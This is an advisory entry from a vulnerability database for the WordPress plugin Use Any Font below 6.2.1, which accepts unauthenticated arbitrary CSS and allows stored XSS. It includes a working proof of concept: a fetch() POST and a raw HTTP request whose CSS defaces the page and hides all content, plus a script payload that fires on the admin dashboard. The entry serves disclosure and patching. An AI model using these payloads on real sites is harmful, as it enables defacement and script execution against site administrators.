Lucene search

K
wpexploitKrzysztof ZającWPEX-ID:739831E3-CDFB-4A22-9ABF-6C594D7E3D75
HistoryJan 31, 2022 - 12:00 a.m.

Use Any Font < 6.2.1 - Unauthenticated Arbitrary CSS Appending

2022-01-3100:00:00
Krzysztof Zając
105
unauthenticated
arbitrary css
xss
font assign
plugin vulnerability

EPSS

0.001

Percentile

41.1%

The plugin does not have any authorisation checks when assigning a font, allowing unauthenticated users to sent arbitrary CSS which will then be processed by the frontend for all users. Due to the lack of sanitisation and escaping in the backend, it could also lead to Stored XSS issues

fetch("https://example.com/", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": "submit-uaf-font-assign=x&elements[]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none !important};&font_key=1",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

POST / HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 301
Connection: close

submit-uaf-font-assign=x&elements[]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none+!important};&font_key=1


To perform XSS in the backend, use a payload such as <script>alert(/XSS/)</script> in the elements[], then the XSS will be triggered when viewing the Assign Font dashboard (/wp-admin/admin.php?page=use-any-font&tab=font_assign)

EPSS

0.001

Percentile

41.1%

Related for WPEX-ID:739831E3-CDFB-4A22-9ABF-6C594D7E3D75